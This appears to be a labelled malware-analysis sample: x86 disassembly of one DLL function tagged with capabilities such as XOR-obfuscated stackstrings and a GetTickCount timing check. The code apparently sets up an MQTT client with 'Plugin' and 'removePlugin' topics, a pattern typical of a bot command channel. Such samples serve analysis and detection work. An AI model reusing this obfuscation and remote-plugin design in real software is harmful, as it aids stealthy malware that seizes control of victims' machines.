Function at 0x10003460
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100301f3
mov eax, dword fs:[0]
push eax
sub esp, 0x1f0
mov eax, dword [0x1003a2dc]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea ecx, [ebp - 0x150]
xor ebx, ebx
push ecx
mov dword [ebp - 0x150], ebx
call fcn.10003320
push ebx
push 2
call fcn.1001d208
push eax
call fcn.1001c3ca
push 0x10033c74
push ebx
call fcn.1001d208
push eax
push 2
call fcn.1001d208
mov al, 0x16
add esp, 0x20
mov byte [ebp - 0x28], 0x5a
mov byte [ebp - 0x27], 0x59
mov byte [ebp - 0x26], 0x4b
mov byte [ebp - 0x25], 0x5d
mov byte [ebp - 0x24], 0xe
mov byte [ebp - 0x23], 0xc
mov byte [ebp - 0x22], al
mov byte [ebp - 0x21], 0x5b
mov byte [ebp - 0x20], 0xa
mov byte [ebp - 0x1f], 0x51
mov byte [ebp - 0x1e], 0x42
mov byte [ebp - 0x1d], 0x56
mov byte [ebp - 0x1c], 0x52
mov byte [ebp - 0x1b], 0x59
mov byte [ebp - 0x1a], al
mov byte [ebp - 0x19], 0x5b
mov byte [ebp - 0x18], 0x57
mov byte [ebp - 0x17], 0x55
mov dword [ebp - 0xd0], 0xf
mov dword [ebp - 0xd4], ebx
mov byte [ebp - 0xe4], bl
mov dword [ebp - 4], ebx
xor esi, esi
movzx eax, byte [ebp + esi - 0x28]
xor eax, 0x38
push eax
mov eax, 1
lea edi, [ebp - 0xe8]
call fcn.10004250
add esi, 1
cmp esi, 0x12
jb 0x10003532
mov al, 0x7b
mov byte [ebp - 0x50], 0x43
mov byte [ebp - 0x4f], 0xd
mov byte [ebp - 0x4e], 0xb
mov byte [ebp - 0x4d], 0xc
mov byte [ebp - 0x4c], 0x7d
mov byte [ebp - 0x4b], 9
mov byte [ebp - 0x4a], 1
mov byte [ebp - 0x49], 0x7c
mov byte [ebp - 0x48], 0xd
mov byte [ebp - 0x47], 0x15
mov byte [ebp - 0x46], 0xc
mov byte [ebp - 0x45], 0xb
mov byte [ebp - 0x44], 0xc
mov byte [ebp - 0x43], 0x7a
mov byte [ebp - 0x42], 0x15
mov byte [ebp - 0x41], 0xc
mov byte [ebp - 0x40], 0x5b
mov byte [ebp - 0x3f], 0x59
mov byte [ebp - 0x3e], 0x5c
mov byte [ebp - 0x3d], 0x15
mov byte [ebp - 0x3c], 0x79
mov byte [ebp - 0x3b], 8
mov byte [ebp - 0x3a], al
mov byte [ebp - 0x39], 0xa
mov byte [ebp - 0x38], 0x15
mov byte [ebp - 0x37], bl
mov byte [ebp - 0x36], 0x7c
mov byte [ebp - 0x35], 0xf
mov byte [ebp - 0x34], 0xd
mov byte [ebp - 0x33], 0x7d
mov byte [ebp - 0x32], 8
mov byte [ebp - 0x31], 0x7a
mov byte [ebp - 0x30], 0xa
mov byte [ebp - 0x2f], 0x7e
mov byte [ebp - 0x2e], 0x7a
mov byte [ebp - 0x2d], 0x7e
mov byte [ebp - 0x2c], al
mov byte [ebp - 0x2b], 0x45
mov dword [ebp - 0xec], 0xf
mov dword [ebp - 0xf0], ebx
mov byte [ebp - 0x100], bl
mov byte [ebp - 4], 1
xor esi, esi
movzx eax, byte [ebp + esi - 0x50]
xor eax, 0x38
push eax
mov eax, 1
lea edi, [ebp - 0x104]
call fcn.10004250
add esi, 1
cmp esi, 0x26
jb 0x10003606
mov byte [ebp - 0x78], 0x43
mov byte [ebp - 0x77], 0x7a
mov byte [ebp - 0x76], 0xb
mov byte [ebp - 0x75], 0x7d
mov byte [ebp - 0x74], 0x7c
mov byte [ebp - 0x73], 0x7c
mov byte [ebp - 0x72], 0x7a
mov byte [ebp - 0x71], bl
mov byte [ebp - 0x70], 0xe
mov byte [ebp - 0x6f], 0x15
mov byte [ebp - 0x6e], 0xb
mov byte [ebp - 0x6d], 0x79
mov byte [ebp - 0x6c], 0x7a
mov byte [ebp - 0x6b], 0x7e
mov byte [ebp - 0x6a], 0x15
mov byte [ebp - 0x69], 0xc
mov byte [ebp - 0x68], 0xc
mov byte [ebp - 0x67], 0xb
mov byte [ebp - 0x66], 0x59
mov byte [ebp - 0x65], 0x15
mov byte [ebp - 0x64], 0x79
mov byte [ebp - 0x63], 0xc
mov byte [ebp - 0x62], bl
mov byte [ebp - 0x61], 0xb
mov byte [ebp - 0x60], 0x15
mov byte [ebp - 0x5f], 0xc
mov byte [ebp - 0x5e], 0xf
mov byte [ebp - 0x5d], bl
mov byte [ebp - 0x5c], 0xd
mov byte [ebp - 0x5b], 0x7a
mov byte [ebp - 0x5a], 0x7a
mov byte [ebp - 0x59], 0xe
mov byte [ebp - 0x58], 0x7d
mov byte [ebp - 0x57], 9
mov byte [ebp - 0x56], 1
mov byte [ebp - 0x55], 0x7c
mov byte [ebp - 0x54], 0xd
mov byte [ebp - 0x53], 0x45
mov dword [ebp - 0x108], 0xf
mov dword [ebp - 0x10c], ebx
mov byte [ebp - 0x11c], bl
mov byte [ebp - 4], 2
xor esi, esi
jmp 0x100036e0
movzx eax, byte [ebp + esi - 0x78]
xor eax, 0x38
push eax
mov eax, 1
lea edi, [ebp - 0x120]
call fcn.10004250
add esi, 1
cmp esi, 0x26
jb 0x100036e0
push 0xffffffffffffffff
push ebx
lea edx, [ebp - 0x104]
push edx
mov ecx, 0x1003b690
call fcn.10006b60
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0xe8]
push eax
mov ecx, 0x1003b674
call fcn.10006b60
push 0x1003b690
mov edi, str._Plugin
lea esi, [ebp - 0x1fc]
call fcn.10005640
add esp, 4
push 0xffffffffffffffff
push ebx
push eax
mov ecx, 0x1003b6e4
mov byte [ebp - 4], 3
call fcn.10006b60
mov byte [ebp - 4], 2
cmp dword [ebp - 0x1e4], 0x10
jb 0x1000376f
mov ecx, dword [ebp - 0x1f8]
push ecx
call fcn.1001c079
add esp, 4
push 0x1003b690
mov edi, str._removePlugin
lea esi, [ebp - 0x1c4]
mov dword [ebp - 0x1e4], 0xf
mov dword [ebp - 0x1e8], ebx
mov byte [ebp - 0x1f8], bl
call fcn.10005640
add esp, 4
push 0xffffffffffffffff
push ebx
push eax
mov ecx, 0x1003b700
mov byte [ebp - 4], 4
call fcn.10006b60
mov byte [ebp - 4], 2
cmp dword [ebp - 0x1ac], 0x10
jb 0x100037cb
mov edx, dword [ebp - 0x1c0]
push edx
call fcn.1001c079
add esp, 4
cmp dword [0x1003c968], ebx
mov edi, 0xf
mov dword [ebp - 0x1ac], edi
mov dword [ebp - 0x1b0], ebx
mov byte [ebp - 0x1c0], bl
jne 0x10003802
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.1001ba36
add esp, 4
call fcn.10018e80
cmp eax, ebx
jne 0x10003809
add dword [0x1003c968], 1
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.ole32.dll_CoCreateGuid]
lea ecx, [ebp - 0x148]
push ecx
lea edx, [ebp - 0x130]
push edx
call dword [sym.imp.ole32.dll_StringFromCLSID]
mov edx, dword [ebp - 0x148]
mov eax, edx
mov dword [ebp - 0xb4], 7
mov dword [ebp - 0xb8], ebx
mov word [ebp - 0xc8], bx
lea esi, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x10003850
sub eax, esi
sar eax, 1
push eax
push edx
lea esi, [ebp - 0xcc]
call fcn.10007370
mov eax, dword [ebp - 0x148]
push eax
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov dword [ebp - 0x98], edi
mov dword [ebp - 0x9c], ebx
mov byte [ebp - 0xac], bl
mov ecx, esi
lea esi, [ebp - 0x18c]
mov byte [ebp - 4], 6
call fcn.10007410
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0xb0]
mov byte [ebp - 4], 7
call fcn.10006b60
mov byte [ebp - 4], 6
cmp dword [ebp - 0x174], 0x10
jb 0x100038cb
mov ecx, dword [ebp - 0x188]
push ecx
call fcn.1001c079
add esp, 4
push 0xffffffffffffffff
push ebx
lea edx, [ebp - 0xb0]
push edx
mov ecx, 0x1003b654
mov dword [ebp - 0x174], 0xf
mov dword [ebp - 0x178], ebx
mov byte [ebp - 0x188], bl
call fcn.10006b60
lea eax, [ebp - 0xb0]
push eax
mov edi, str._Plugin
lea esi, [ebp - 0x1e0]
call fcn.10005640
add esp, 4
push 0xffffffffffffffff
push ebx
push eax
mov ecx, 0x1003b6ac
mov byte [ebp - 4], 8
call fcn.10006b60
mov byte [ebp - 4], 6
cmp dword [ebp - 0x1c8], 0x10
jb 0x1000393d
mov ecx, dword [ebp - 0x1dc]
push ecx
call fcn.1001c079
add esp, 4
lea edx, [ebp - 0xb0]
push edx
mov edi, str._removePlugin
lea esi, [ebp - 0x1a8]
mov dword [ebp - 0x1c8], 0xf
mov dword [ebp - 0x1cc], ebx
mov byte [ebp - 0x1dc], bl
call fcn.10005640
add esp, 4
push 0xffffffffffffffff
push ebx
push eax
mov ecx, 0x1003b6c8
mov byte [ebp - 4], 9
call fcn.10006b60
cmp dword [ebp - 0x190], 0x10
jb 0x10003997
mov eax, dword [ebp - 0x1a4]
push eax
call fcn.1001c079
add esp, 4
mov dword [ebp - 0x190], 0xf
mov dword [ebp - 0x194], ebx
mov byte [ebp - 0x1a4], bl
lea ecx, [ecx]
push 0x28
mov byte [ebp - 4], 0xa
call fcn.1001c231
mov esi, eax
add esp, 4
mov dword [ebp - 0x134], esi
cmp esi, ebx
mov byte [ebp - 4], 0xb
je 0x10003a42
cmp dword [0x1003b66c], 0x10
mov edi, dword [0x1003b658]
jae 0x100039e2
mov edi, 0x1003b658
cmp dword [0x1003c968], ebx
mov dword [esi], vtable.IMQTT.0
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], ebx
mov dword [esi + 0x18], ebx
mov dword [esi + 0x1c], ebx
mov dword [esi + 0x20], ebx
mov dword [esi + 0x24], ebx
jne 0x10003a20
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.1001ba36
add esp, 4
call fcn.10018e80
cmp eax, ebx
jne 0x10003a27
add dword [0x1003c968], 1
push esi
push edi
mov dword [esi + 4], esi
call fcn.10014ee0
add esp, 8
cmp eax, ebx
mov dword [esi + 0xc], eax
jne 0x10003a44
call fcn.1001e4a1
jmp 0x10003a44
xor esi, esi
cmp esi, ebx
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x134], esi
mov dword [ebp - 0x14c], esi
je 0x10003a60
mov ecx, dword [esi]
mov edx, dword [ecx + 4]
push esi
call edx
push 0x10002630
mov byte [ebp - 4], 0xc
mov eax, dword [esi]
mov ecx, dword [eax + 0x34]
push 6
push esi
call ecx
mov edx, dword [esi]
mov eax, dword [edx + 0x34]
push 0x100023b0
push 2
push esi
call eax
mov ecx, dword [esi]
mov edx, dword [ecx + 0x34]
push 0x10002490
push 3
push esi
call edx
and dword [ebp - 0x13c], 0xfffffe00
mov dword [ebp - 0x138], ebx
mov byte [ebp - 4], 0xe
mov eax, dword [ebp - 0x158]
and eax, 0xffffff04
or eax, 0x104
push str.offline
mov edi, 7
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x154], ebx
call fcn.10007760
mov edi, eax
add esp, 4
mov dword [ebp - 0x160], edi
push 0x10033a48
lea ecx, [ebp - 0x144]
push ecx
mov ecx, 0x10033a4a
mov byte [ebp - 4], 0xf
call fcn.10008a30
mov esi, eax
lea eax, [ebp - 0x160]
call fcn.100080a0
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0x158]
movsx eax, cl
cmp eax, 4
je 0x10003b2f
add eax, 0xfffffffa
cmp eax, 1
ja 0x10003b40
cmp edi, ebx
je 0x10003b40
mov ecx, edi
call fcn.10009280
push edi
call fcn.1001c079
jmp 0x10003b3d
test ecx, 0x100
je 0x10003b40
push edi
call fcn.1001d378
add esp, 4
mov edx, dword [ebp - 0x168]
mov eax, dword [0x1003b658]
and edx, 0xffffff04
or edx, 0x104
cmp dword [0x1003b66c], 0x10
mov dword [ebp - 0x168], edx
mov dword [ebp - 0x164], ebx
jae 0x10003b71
mov eax, 0x1003b658
mov edi, dword [0x1003b668]
push eax
call fcn.10007760
mov edi, eax
add esp, 4
mov dword [ebp - 0x170], edi
push 0x10033ba8
lea eax, [ebp - 0x144]
push eax
mov ecx, 0x10033bab
mov byte [ebp - 4], 0x10
call fcn.10008a30
mov esi, eax
lea eax, [ebp - 0x170]
call fcn.100080a0
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0x168]
movsx eax, cl
cmp eax, 4
je 0x10003bdc
add eax, 0xfffffffa
cmp eax, 1
ja 0x10003bed
cmp edi, ebx
je 0x10003bed
mov ecx, edi
call fcn.10009280
push edi
call fcn.1001c079
jmp 0x10003bea
test ecx, 0x100
je 0x10003bed
push edi
call fcn.1001d378
add esp, 4
lea esi, [ebp - 0x94]
lea ecx, [ebp - 0x144]
call fcn.10009150
mov byte [ebp - 4], 0x11
mov eax, dword [ebp - 0x90]
mov esi, 0x10
cmp dword [ebp - 0x7c], esi
jae 0x10003c18
lea eax, [ebp - 0x90]
mov edx, dword [ebp - 0x80]
mov edi, dword [ebp - 0x134]
mov ecx, dword [edi]
push ebx
push ebx
push eax
mov eax, dword [ecx + 0x48]
push edx
push str.OFFLINE
push edi
call eax
mov ecx, dword [edi]
mov edx, dword [ecx + 0x14]
push 0x3c
push ebx
push ebx
push edi
call edx
cmp eax, ebx
jge 0x10003cf7
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x7c], esi
jb 0x10003c65
mov eax, dword [ebp - 0x90]
push eax
call fcn.1001c079
add esp, 4
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0x13c]
movsx eax, cl
cmp eax, 4
mov dword [ebp - 0x7c], 0xf
mov dword [ebp - 0x80], ebx
mov byte [ebp - 0x90], bl
je 0x10003ca8
add eax, 0xfffffffa
cmp eax, 1
ja 0x10003cbf
mov esi, dword [ebp - 0x144]
cmp esi, ebx
je 0x10003cbf
mov ecx, esi
call fcn.10009280
push esi
call fcn.1001c079
jmp 0x10003cbc
test ecx, 0x100
je 0x10003cbf
mov ecx, dword [ebp - 0x144]
push ecx
call fcn.1001d378
add esp, 4
mov eax, dword [ebp - 0x138]
cmp eax, ebx
je 0x10003ce6
mov edx, dword [eax - 4]
lea esi, [eax - 4]
push 0x10007ad0
push edx
push 4
push eax
call fcn.1001dd45
push esi
call fcn.1001c29b
add esp, 4
mov byte [ebp - 4], 0xa
mov eax, dword [edi]
mov ecx, dword [eax + 8]
push edi
call ecx
jmp 0x100039b0
mov edi, dword [ebp - 0x14c]
lea ecx, [ecx]
mov edx, dword [edi]
mov eax, dword [edx + 0x24]
push 1
push 0x3e8
push edi
call eax
cmp eax, ebx
je 0x10003d00
mov ecx, dword [edi]
mov edx, dword [ecx + 0x20]
push edi
call edx
cmp dword [ebp - 0x7c], esi
jb 0x10003d2f
mov eax, dword [ebp - 0x90]
push eax
call fcn.1001c079
add esp, 4
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0x13c]
movsx eax, cl
cmp eax, 4
mov dword [ebp - 0x7c], 0xf
mov dword [ebp - 0x80], ebx
mov byte [ebp - 0x90], bl
je 0x10003d72
add eax, 0xfffffffa
cmp eax, 1
ja 0x10003d89
mov esi, dword [ebp - 0x144]
cmp esi, ebx
je 0x10003d89
mov ecx, esi
call fcn.10009280
push esi
call fcn.1001c079
jmp 0x10003d86
test ecx, 0x100
je 0x10003d89
mov ecx, dword [ebp - 0x144]
push ecx
call fcn.1001d378
add esp, 4
mov eax, dword [ebp - 0x138]
cmp eax, ebx
je 0x10003db0
mov edx, dword [eax - 4]
lea esi, [eax - 4]
push 0x10007ad0
push edx
push 4
push eax
call fcn.1001dd45
push esi
call fcn.1001c29b
add esp, 4
mov byte [ebp - 4], 0xa
mov eax, dword [edi]
mov ecx, dword [eax + 8]
push edi
call ecx
mov dword [ebp - 4], 6
jmp 0x100039b0